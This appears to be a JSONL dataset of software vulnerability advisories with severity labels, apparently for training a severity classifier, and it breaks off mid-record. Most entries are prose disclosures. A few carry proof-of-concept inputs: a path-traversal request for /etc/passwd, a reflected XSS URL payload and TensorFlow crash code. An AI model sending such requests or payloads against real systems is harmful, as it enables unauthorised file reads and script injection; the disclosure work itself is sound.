-{"id": "cfcedd1b0ce7a94afbf7", "text": "Denial of Service in Cryptacular\n\nCiphertextHeader.java in Cryptacular before 1.2.4, as used in Apereo CAS and other products, allows attackers to trigger excessive memory allocation during a decode operation, because the nonce array length associated with &quot;new byte&quot; may depend on untrusted input within the header of encoded data.", "text_raw": "Denial of Service in Cryptacular\n\n[Severity: HIGH]\n\nCiphertextHeader.java in Cryptacular before 1.2.4, as used in Apereo CAS and other products, allows attackers to trigger excessive memory allocation during a decode operation, because the nonce array length associated with &quot;new byte&quot; may depend on untrusted input within the header of encoded data.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-06-10", "split": "train"}
-{"id": "0a9663891d0210e39f15", "text": "npm Vulnerable to Global node_modules Binary Overwrite\n\nVersions of  the npm CLI prior to 6.13.4 are vulnerable to a Global node_modules Binary Overwrite. It fails to prevent existing globally-installed binaries to be overwritten by other package installations.\n\nFor example, if a package was installed globally and created a `serve` binary, any subsequent installs of packages that also create a `serve` binary would overwrite the first binary. This will not overwrite system binaries but only binaries put into the global node_modules directory.\n\nThis behavior is still allowed in local installations and also through install scripts. This vulnerability bypasses a user using the --ignore-scripts install option.\n\n## Recommendation\n\nUpgrade to version 6.13.4 or later.", "text_raw": "npm Vulnerable to Global node_modules Binary Overwrite\n\n[Severity: HIGH]\n\nVersions of  the npm CLI prior to 6.13.4 are vulnerable to a Global node_modules Binary Overwrite. It fails to prevent existing globally-installed binaries to be overwritten by other package installations. \n\nFor example, if a package was installed globally and created a `serve` binary, any subsequent installs of packages that also create a `serve` binary would overwrite the first binary. This will not overwrite system binaries but only binaries put into the global node_modules directory.\n\nThis behavior is still allowed in local installations and also through install scripts. This vulnerability bypasses a user using the --ignore-scripts install option.\n\n\n## Recommendation\n\nUpgrade to version 6.13.4 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-12-13", "split": "train"}
-{"id": "2058167b8dccabc76b13", "text": "Missing Release of Memory after Effective Lifetime in Apache Tika\n\nA carefully crafted or corrupt file may trigger a System.exit in Tika's OneNote Parser. Crafted or corrupted files can also cause out of memory errors and/or infinite loops in Tika's ICNSParser, MP3Parser, MP4Parser, SAS7BDATParser, OneNoteParser and ImageParser. Apache Tika users should upgrade to 1.24.1 or later. The vulnerabilities in the MP4Parser were partially fixed by upgrading the com.googlecode:isoparser:1.1.22 dependency to org.tallison:isoparser:1.9.41.2. For unrelated security reasons, we upgraded org.apache.cxf to 3.3.6 as part of the 1.24.1 release.", "text_raw": "Missing Release of Memory after Effective Lifetime in Apache Tika\n\n[Severity: MEDIUM]\n\nA carefully crafted or corrupt file may trigger a System.exit in Tika's OneNote Parser. Crafted or corrupted files can also cause out of memory errors and/or infinite loops in Tika's ICNSParser, MP3Parser, MP4Parser, SAS7BDATParser, OneNoteParser and ImageParser. Apache Tika users should upgrade to 1.24.1 or later. The vulnerabilities in the MP4Parser were partially fixed by upgrading the com.googlecode:isoparser:1.1.22 dependency to org.tallison:isoparser:1.9.41.2. For unrelated security reasons, we upgraded org.apache.cxf to 3.3.6 as part of the 1.24.1 release.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-07", "split": "train"}
-{"id": "4c77e32b078648828b54", "text": "Apache Storm version 1.0.6 and earlier, 1.2.1 and earlier, and version 1.1.2 and earlier expose a vulnerability that could allow a user to impersonate another user when communicating with some Storm Daemons.", "text_raw": "Moderate severity vulnerability that affects org.apache.storm:storm-core\n\n[Severity: MEDIUM]\n\nApache Storm version 1.0.6 and earlier, 1.2.1 and earlier, and version 1.1.2 and earlier expose a vulnerability that could allow a user to impersonate another user when communicating with some Storm Daemons.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-17", "split": "train"}
-{"id": "dc0aaeae0f1cdbdb9cdf", "text": "Reference binding to null in `ParameterizedTruncatedNormal`\n\n### Impact\nAn attacker can trigger undefined behavior by binding to null pointer in `tf.raw_ops.ParameterizedTruncatedNormal`:\n\n```python\nimport tensorflow as tf\n\nshape = tf.constant([], shape=[0], dtype=tf.int32)\nmeans = tf.constant((1), dtype=tf.float32)\nstdevs = tf.constant((1), dtype=tf.float32)\nminvals = tf.constant((1), dtype=tf.float32)\nmaxvals = tf.constant((1), dtype=tf.float32)\n\ntf.raw_ops.ParameterizedTruncatedNormal(\n  shape=shape, means=means, stdevs=stdevs, minvals=minvals, maxvals=maxvals)\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/3f6fe4dfef6f57e768260b48166c27d148f3015f/tensorflow/core/kernels/parameterized_truncated_normal_op.cc#L630) does not validate input arguments before accessing the first element of `shape`:\n\n```cc\nint32 num_batches = shape_tensor.flat<int32>()(0);\n```\n\nIf `shape` argument is empty, then `shape_tensor.flat<T>()` is an empty array.\n\n### Patches\nWe have patched the issue in GitHub commit [5e52ef5a461570cfb68f3bdbbebfe972cb4e0fd8](https://github.com/tensorflow/tensorflow/commit/5e52ef5a461570cfb68f3bdbbebfe972cb4e0fd8).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information \nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.", "text_raw": "Reference binding to null in `ParameterizedTruncatedNormal`\n\n[Severity: LOW]\n\n### Impact\nAn attacker can trigger undefined behavior by binding to null pointer in `tf.raw_ops.ParameterizedTruncatedNormal`:\n\n```python\nimport tensorflow as tf\n    \nshape = tf.constant([], shape=[0], dtype=tf.int32)\nmeans = tf.constant((1), dtype=tf.float32)\nstdevs = tf.constant((1), dtype=tf.float32)\nminvals = tf.constant((1), dtype=tf.float32)\nmaxvals = tf.constant((1), dtype=tf.float32)\n  \ntf.raw_ops.ParameterizedTruncatedNormal(\n  shape=shape, means=means, stdevs=stdevs, minvals=minvals, maxvals=maxvals)\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/3f6fe4dfef6f57e768260b48166c27d148f3015f/tensorflow/core/kernels/parameterized_truncated_normal_op.cc#L630) does not validate input arguments before accessing the first element of `shape`:\n\n```cc\nint32 num_batches = shape_tensor.flat<int32>()(0);\n``` \n\nIf `shape` argument is empty, then `shape_tensor.flat<T>()` is an empty array.\n\n### Patches\nWe have patched the issue in GitHub commit [5e52ef5a461570cfb68f3bdbbebfe972cb4e0fd8](https://github.com/tensorflow/tensorflow/commit/5e52ef5a461570cfb68f3bdbbebfe972cb4e0fd8).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information \nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "d82cab5a35f4ce1d2edb", "text": "Information Disclosure in HashiCorp Vault\n\nHashiCorp Vault and Vault Enterprise before 1.3.6, and 1.4.2 before 1.4.2, insert Sensitive Information into a Log File. The vulnerability is affecting `github.com/hashicorp/vault/command` Go package.", "text_raw": "Information Disclosure in HashiCorp Vault\n\n[Severity: HIGH]\n\nHashiCorp Vault and Vault Enterprise before 1.3.6, and 1.4.2 before 1.4.2, insert Sensitive Information into a Log File. The vulnerability is affecting `github.com/hashicorp/vault/command` Go package.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-18", "split": "train"}
-{"id": "c57fbc1447b801ada25a", "text": "Directory Traversal in lessindex\n\nAffected versions of `lessindex` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in lessindex\n\n[Severity: HIGH]\n\nAffected versions of `lessindex` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "bba9d32b8695f8d4b82d", "text": "Multiple stored XSS in RBAC Admin screens in Apache Airflow\n\nAn issue was found in Apache Airflow versions 1.10.10 and below. It was discovered that many of the admin management screens in the new/RBAC UI handled escaping incorrectly, allowing authenticated users with appropriate permissions to create stored XSS attacks.", "text_raw": "Multiple stored XSS in RBAC Admin screens in Apache Airflow\n\n[Severity: MEDIUM]\n\nAn issue was found in Apache Airflow versions 1.10.10 and below. It was discovered that many of the admin management screens in the new/RBAC UI handled escaping incorrectly, allowing authenticated users with appropriate permissions to create stored XSS attacks.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-07-27", "split": "train"}
-{"id": "fba3d6ec41404fb49d07", "text": "BrightSign Digital Signage Diagnostic Web Server 8.2.26 Unauthenticated SSRF", "text_raw": "BrightSign Digital Signage Diagnostic Web Server 8.2.26 Unauthenticated SSRF\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2020-09-30", "split": "train"}
-{"id": "fe24d9ec47ab8d4669cb", "text": "Data races in try-mutex\n\nAffected versions of this crate unconditionally implemented Sync trait for TryMutex<T> type. This allows users to put non-Send T type in TryMutex and send it to another thread, which can cause a data race. The flaw was corrected in the 0.3.0 release by adding T: Send bound for the Sync trait implementation.", "text_raw": "Data races in try-mutex\n\n[Severity: MEDIUM]\n\nAffected versions of this crate unconditionally implemented Sync trait for TryMutex<T> type. This allows users to put non-Send T type in TryMutex and send it to another thread, which can cause a data race. The flaw was corrected in the 0.3.0 release by adding T: Send bound for the Sync trait implementation.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "c02981e1aef3c8ad07ef", "text": "Reflected Cross-Site Scripting in redis-commander\n\nAffected versions of `redis-commander` contain a cross-site scripting vulnerability in the `highlighterId` paramter of the clipboard.swf component on hosts serving Redis Commander.\n\nMitigating factors:\nFlash must be installed / enabled for this to work. The below proof of concept was verified to work using Firefox 57.0 on Windows 10 by manually installing the [Flash NPAPI Windows plugin](https://get.adobe.com/flashplayer/otherversions/)\n\n## Proof of concept\n\n```\nhttp://instance/jstree/_docs/syntax/clipboard.swf?highlighterId=\\%22))}%20catch(e)%20{alert(document.domain);}//\n```\n\n## Recommendation\n\nNo direct patch for this vulnerability is currently available.\n\nAt this time, the best mitigation is to use an alternative, functionally equivalent package, or to use extreme caution when using redis-commander, ensuring that redis-commmander is the only web page you have open, and avoiding clicking on any links.", "text_raw": "Reflected Cross-Site Scripting in redis-commander\n\n[Severity: LOW]\n\nAffected versions of `redis-commander` contain a cross-site scripting vulnerability in the `highlighterId` paramter of the clipboard.swf component on hosts serving Redis Commander.\n\nMitigating factors:\nFlash must be installed / enabled for this to work. The below proof of concept was verified to work using Firefox 57.0 on Windows 10 by manually installing the [Flash NPAPI Windows plugin](https://get.adobe.com/flashplayer/otherversions/)\n\n## Proof of concept\n\n```\nhttp://instance/jstree/_docs/syntax/clipboard.swf?highlighterId=\\%22))}%20catch(e)%20{alert(document.domain);}//\n```\n\n\n## Recommendation\n\nNo direct patch for this vulnerability is currently available.\n\nAt this time, the best mitigation is to use an alternative, functionally equivalent package, or to use extreme caution when using redis-commander, ensuring that redis-commmander is the only web page you have open, and avoiding clicking on any links.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "b43dce18f06fef5c8d57", "text": "devolo dLAN 550 duo+ Starter Kit Remote Code Execution", "text_raw": "devolo dLAN 550 duo+ Starter Kit Remote Code Execution\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2019-02-03", "split": "train"}
-{"id": "15ad01459e1e182b8b3d", "text": "Sensitive Data Exposure in loopback\n\nVersions of `loopback` prior to 3.26.0 (3.x) and 2.42.0 (2.x) are vulnerable to Sensitive Data Exposure. Invalid API requests to the login endpoint may return information about the first user in the database. This can be used alongside other attacks for credential theft.\n\n## Recommendation\n\nIf you're using `loopback` 3.x upgrade to version 3.26.0 or later.\nIf you're using `loopback` 2.x upgrade to version 2.42.0 or later.", "text_raw": "Sensitive Data Exposure in loopback\n\n[Severity: LOW]\n\nVersions of `loopback` prior to 3.26.0 (3.x) and 2.42.0 (2.x) are vulnerable to Sensitive Data Exposure. Invalid API requests to the login endpoint may return information about the first user in the database. This can be used alongside other attacks for credential theft.\n\n\n## Recommendation\n\nIf you're using `loopback` 3.x upgrade to version 3.26.0 or later.\nIf you're using `loopback` 2.x upgrade to version 2.42.0 or later.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "948fbb1a94810b26c674", "text": "Remote Code Execution Through Image Uploads in BookStack\n\n### Impact\n\nA user could upload PHP files through image upload functions, which would allow them to execute code on the host system remotely. They would then have the permissions of the PHP process.\n\nThis most impacts scenarios where non-trusted users are given permission to upload images in any area of the application.\n\n### Patches\n\nThe issue was addressed in a series of patches: v0.25.3, v0.25.4 and v0.25.5.\nUsers should upgrade to at least v0.25.5 to avoid this patch but ideally the latest BookStack version as previous versions are un-supported.\n\n### Workarounds\n\nDepending on BookStack version, you could use the [local_secure](https://www.bookstackapp.com/docs/admin/upload-config/#local-secure) image storage option, or use s3 or a similar compatible service.\n\nPreventing direct execution of any `php` files, apart from the `public/index.php` file, though web-server configuration would also prevent this.\n\n### References\n\n[BookStack Beta v0.25.3](https://github.com/BookStackApp/BookStack/releases/tag/v0.25.3)\n[BookStack Beta v0.25.4](https://github.com/BookStackApp/BookStack/releases/tag/v0.25.4)\n[BookStack Beta v0.25.5](https://github.com/BookStackApp/BookStack/releases/tag/v0.25.5)\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [the BookStack GitHub repository](BookStackApp/BookStack/issues).\n* Ask on the [BookStack Discord chat](https://discord.gg/ztkBqR2).\n* Follow the [BookStack Security advise](https://github.com/BookStackApp/BookStack#-security) to contact someone privately.", "text_raw": "Remote Code Execution Through Image Uploads in BookStack\n\n[Severity: HIGH]\n\n### Impact\n\nA user could upload PHP files through image upload functions, which would allow them to execute code on the host system remotely. They would then have the permissions of the PHP process.\n\nThis most impacts scenarios where non-trusted users are given permission to upload images in any area of the application. \n\n### Patches\n\nThe issue was addressed in a series of patches: v0.25.3, v0.25.4 and v0.25.5.\nUsers should upgrade to at least v0.25.5 to avoid this patch but ideally the latest BookStack version as previous versions are un-supported.\n\n### Workarounds\n\nDepending on BookStack version, you could use the [local_secure](https://www.bookstackapp.com/docs/admin/upload-config/#local-secure) image storage option, or use s3 or a similar compatible service.\n\nPreventing direct execution of any `php` files, apart from the `public/index.php` file, though web-server configuration would also prevent this.\n\n### References\n\n[BookStack Beta v0.25.3](https://github.com/BookStackApp/BookStack/releases/tag/v0.25.3)\n[BookStack Beta v0.25.4](https://github.com/BookStackApp/BookStack/releases/tag/v0.25.4)\n[BookStack Beta v0.25.5](https://github.com/BookStackApp/BookStack/releases/tag/v0.25.5)\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [the BookStack GitHub repository](BookStackApp/BookStack/issues).\n* Ask on the [BookStack Discord chat](https://discord.gg/ztkBqR2).\n* Follow the [BookStack Security advise](https://github.com/BookStackApp/BookStack#-security) to contact someone privately.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-03-13", "split": "train"}
-{"id": "9d5f70511add8ac93629", "text": "Shell command injection in command_wrap\n\ncommand_wrap.rb in the command_wrap Gem for Ruby allows remote attackers to execute arbitrary commands via shell metacharacters in a URL or filename.", "text_raw": "Shell command injection in command_wrap\n\n[Severity: HIGH]\n\ncommand_wrap.rb in the command_wrap Gem for Ruby allows remote attackers to execute arbitrary commands via shell metacharacters in a URL or filename.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "bf7ddd619ad45a470897", "text": "Cleartext Transmission of Sensitive Information in Apache nifi\n\nThe template upload API endpoint accepted requests from different domain when sent in conjunction with ARP spoofing + man in the middle (MiTM) attack, resulting in a CSRF attack. The required attack vector is complex, requiring a scenario with client certificate authentication, same subnet access, and injecting malicious code into an unprotected (plaintext HTTP) website which the targeted user later visits, but the possible damage warranted a Severe severity level. Mitigation: The fix to apply Cross-Origin Resource Sharing (CORS) policy request filtering was applied on the Apache NiFi 1.8.0 release. Users running a prior 1.x release should upgrade to the appropriate release.", "text_raw": "Cleartext Transmission of Sensitive Information in Apache nifi\n\n[Severity: HIGH]\n\nThe template upload API endpoint accepted requests from different domain when sent in conjunction with ARP spoofing + man in the middle (MiTM) attack, resulting in a CSRF attack. The required attack vector is complex, requiring a scenario with client certificate authentication, same subnet access, and injecting malicious code into an unprotected (plaintext HTTP) website which the targeted user later visits, but the possible damage warranted a Severe severity level. Mitigation: The fix to apply Cross-Origin Resource Sharing (CORS) policy request filtering was applied on the Apache NiFi 1.8.0 release. Users running a prior 1.x release should upgrade to the appropriate release.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-12-20", "split": "train"}
-{"id": "d943c6471e4189d48aeb", "text": "Malicious Package in react-dates-sc\n\nVersion 0.3.0 of `react-dates-sc` contained malicious code. The code when executed in the browser would enumerate password, cvc, cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n## Recommendation\n\nIf version 0.3.0 of this module is found installed you will want to replace it with a version before or after 0.3.0. In addition to replacing the installed module, you will also want to evaluate your application to determine whether or not user data was compromised.\n\nUsers may consider downgrading to version 0.3.0-beta.83", "text_raw": "Malicious Package in react-dates-sc\n\n[Severity: CRITICAL]\n\nVersion 0.3.0 of `react-dates-sc` contained malicious code. The code when executed in the browser would enumerate password, cvc, cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n\n\n## Recommendation\n\nIf version 0.3.0 of this module is found installed you will want to replace it with a version before or after 0.3.0. In addition to replacing the installed module, you will also want to evaluate your application to determine whether or not user data was compromised.\n\nUsers may consider downgrading to version 0.3.0-beta.83", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "3ad10950bb03e303be3c", "text": "Out-of-bounds write\n\nA remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge, aka 'Chakra Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2019-1138, CVE-2019-1217, CVE-2019-1237, CVE-2019-1300.", "text_raw": "Out-of-bounds write\n\n[Severity: HIGH]\n\nA remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge, aka 'Chakra Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2019-1138, CVE-2019-1217, CVE-2019-1237, CVE-2019-1300.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-03-29", "split": "train"}
-{"id": "a7a8808d47bdb2bdb19a", "text": "ipip-coffee downloads Resources over HTTP\n\nAffected versions of `ipip-coffee` insecurely download resources over HTTP.\n\nIn scenarios where an attacker has a privileged network position, they can modify or read such resources at will. This could impact the integrity and availability of the data being used to make geolocation decisions by an application.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "ipip-coffee downloads Resources over HTTP\n\n[Severity: HIGH]\n\nAffected versions of `ipip-coffee` insecurely download resources over HTTP. \n\nIn scenarios where an attacker has a privileged network position, they can modify or read such resources at will. This could impact the integrity and availability of the data being used to make geolocation decisions by an application.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "adc36b9bcbac13a3448b", "text": "Out-of-bounds Read in npmconf\n\nVersions of `npmconf` before 2.1.3 allocate and write to disk uninitialized memory contents when a typed number is passed as input on Node.js 4.x.\n\n## Recommendation\n\nUpdate to version 2.1.3 or later. Consider switching to another config storage mechanism, as npmconf is deprecated and should not be used.", "text_raw": "Out-of-bounds Read in npmconf\n\n[Severity: MEDIUM]\n\nVersions of `npmconf` before 2.1.3 allocate and write to disk uninitialized memory contents when a typed number is passed as input on Node.js 4.x.\n\n\n## Recommendation\n\nUpdate to version 2.1.3 or later. Consider switching to another config storage mechanism, as npmconf is deprecated and should not be used.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-06-12", "split": "train"}
-{"id": "aec3836abd8c5e2d80e9", "text": "SQL Injection in sequelize\n\nVersions of `sequelize` prior to 3.35.1 are vulnerable to SQL Injection. The package fails to sanitize JSON path keys in the Postgres dialect,  which may allow attackers to inject SQL statements and execute arbitrary SQL queries.\n\n## Recommendation\n\nUpgrade to version 3.35.1 or later.", "text_raw": "SQL Injection in sequelize\n\n[Severity: CRITICAL]\n\nVersions of `sequelize` prior to 3.35.1 are vulnerable to SQL Injection. The package fails to sanitize JSON path keys in the Postgres dialect,  which may allow attackers to inject SQL statements and execute arbitrary SQL queries.\n\n\n## Recommendation\n\nUpgrade to version 3.35.1 or later.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-11-08", "split": "train"}
-{"id": "71fb2016b79149468b82", "text": "Nokogiri subject to DoS via libxml2 vulnerability\n\nThe xmlStringLenDecodeEntities function in parser.c in libxml2 before 2.9.3 (as used in nokogiri before 1.6.7.1) does not properly prevent entity expansion, which allows context-dependent attackers to cause a denial of service (CPU consumption) via crafted XML data, a different vulnerability than CVE-2014-3660.", "text_raw": "Nokogiri subject to DoS via libxml2 vulnerability\n\n[Severity: HIGH]\n\nThe xmlStringLenDecodeEntities function in parser.c in libxml2 before 2.9.3 (as used in nokogiri before 1.6.7.1) does not properly prevent entity expansion, which allows context-dependent attackers to cause a denial of service (CPU consumption) via crafted XML data, a different vulnerability than CVE-2014-3660.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-08-21", "split": "train"}
-{"id": "ebb8b331a2d5d4ad0289", "text": "Incorrect threshold signature computation in TUF\n\n### Impact\nMetadadata signature verification, as used in `tuf.client.updater`, counted each of multiple signatures with identical authorized keyids  separately towards the threshold. Therefore, an attacker with access to a valid signing key could create multiple valid signatures in order to meet the minimum threshold of keys before the metadata was considered valid.\n\nThe tuf maintainers would like to thank Erik MacLean of Analog Devices, Inc. for reporting this issue.\n\n### Patches\nA [fix](https://github.com/theupdateframework/tuf/pull/974) is available in version [0.12.2](https://github.com/theupdateframework/tuf/releases/tag/v0.12.2) or newer.\n\n### Workarounds\nNo workarounds are known for this issue.\n\n### References\n* [CVE-2020-6174](https://nvd.nist.gov/vuln/detail/CVE-2020-6174)\n* Pull request resolving the issue [PR 974](https://github.com/theupdateframework/tuf/pull/974)", "text_raw": "Incorrect threshold signature computation in TUF\n\n[Severity: CRITICAL]\n\n### Impact\nMetadadata signature verification, as used in `tuf.client.updater`, counted each of multiple signatures with identical authorized keyids  separately towards the threshold. Therefore, an attacker with access to a valid signing key could create multiple valid signatures in order to meet the minimum threshold of keys before the metadata was considered valid.\n\nThe tuf maintainers would like to thank Erik MacLean of Analog Devices, Inc. for reporting this issue.\n\n### Patches\nA [fix](https://github.com/theupdateframework/tuf/pull/974) is available in version [0.12.2](https://github.com/theupdateframework/tuf/releases/tag/v0.12.2) or newer.\n\n### Workarounds\nNo workarounds are known for this issue.\n\n### References\n* [CVE-2020-6174](https://nvd.nist.gov/vuln/detail/CVE-2020-6174)\n* Pull request resolving the issue [PR 974](https://github.com/theupdateframework/tuf/pull/974)", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-08-21", "split": "train"}
-{"id": "f3b04d6f7829b007a9cf", "text": "Improper Restriction of XML External Entity Reference in Quokka\n\nXML External Entities (XXE) in Quokka v0.4.0 allows remote attackers to execute arbitrary code via the component 'quokka/core/content/views.py'.", "text_raw": "Improper Restriction of XML External Entity Reference in Quokka\n\n[Severity: CRITICAL]\n\nXML External Entities (XXE) in Quokka v0.4.0 allows remote attackers to execute arbitrary code via the component 'quokka/core/content/views.py'.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-30", "split": "train"}
-{"id": "cdef84b6c2a9aea6d744", "text": "frames-compiler downloads Resources over HTTP\n\nAffected versions of `frames-compiler` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `frames-compiler`.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "frames-compiler downloads Resources over HTTP\n\n[Severity: HIGH]\n\nAffected versions of `frames-compiler` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `frames-compiler`.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "b4d7afef66bac6be6811", "text": "Incorrect version tags linked to external repository\n\n### Impact\nA security incident caused a number of incorrect version tags to be pushed to the Parse Server repository. These version tags linked to a personal fork of a contributor who had write access to the repository. The code to which these tags linked has not been reviewed or approved by Parse Platform. Even though no releases were published with these incorrect versions, it was possible to define a Parse Server dependency that pointed to these version tags, for example if you defined this dependency: \n```js\n\"parse-server\": \"git@github.com:parse-community/parse-server.git#4.9.3\"\n```\n\nWe have since deleted the incorrect version tags, but they may still show up in your personal fork on GitHub or locally. We do not know when these tags have been pushed to the Parse Server repository, but we first became aware of this issue on July 21, 2021. We are not aware of any malicious code or concerns related to privacy, security or legality (e.g. proprietary code). However, it has been reported that some functionality does not work as expected and the introduction of security vulnerabilities cannot be ruled out.\n\nYou may be also affected if you used the Bitnami image for Parse Server. Bitnami picked up the incorrect version tag `4.9.3` and published a new Bitnami image for Parse Server.\n\n**If you are using any of the affected versions, we urgently recommend to upgrade to version `4.10.0`.**\n\nThese are the incorrect tags:\n```\n4.0.0-beta1\n4.0.0-beta2\n4.0.0-beta3\n4.0.0-beta4\n4.0.0-beta5\n4.0.0-beta6\n4.0.10\n4.0.11\n4.0.12\n4.0.13\n4.0.14\n4.0.3\n4.0.4\n4.0.6\n4.0.7\n4.0.8\n4.0.9\n4.6.0\n4.6.0-beta\n4.7.0\n4.8.0\n4.8.1\n4.8.2\n4.8.3\n4.8.4\n4.8.5\n4.9.0\n4.9.1\n4.9.2\n4.9.3\n```\n\n### Patches\nUpgrade to version `4.10.0`.\n\n### Workarounds\nDowngrade to version `4.5.2`.\n\n### References\nn/a", "text_raw": "Incorrect version tags linked to external repository\n\n[Severity: CRITICAL]\n\n### Impact\nA security incident caused a number of incorrect version tags to be pushed to the Parse Server repository. These version tags linked to a personal fork of a contributor who had write access to the repository. The code to which these tags linked has not been reviewed or approved by Parse Platform. Even though no releases were published with these incorrect versions, it was possible to define a Parse Server dependency that pointed to these version tags, for example if you defined this dependency: \n```js\n\"parse-server\": \"git@github.com:parse-community/parse-server.git#4.9.3\"\n```\n\nWe have since deleted the incorrect version tags, but they may still show up in your personal fork on GitHub or locally. We do not know when these tags have been pushed to the Parse Server repository, but we first became aware of this issue on July 21, 2021. We are not aware of any malicious code or concerns related to privacy, security or legality (e.g. proprietary code). However, it has been reported that some functionality does not work as expected and the introduction of security vulnerabilities cannot be ruled out.\n\nYou may be also affected if you used the Bitnami image for Parse Server. Bitnami picked up the incorrect version tag `4.9.3` and published a new Bitnami image for Parse Server. \n \n**If you are using any of the affected versions, we urgently recommend to upgrade to version `4.10.0`.**\n\n\nThese are the incorrect 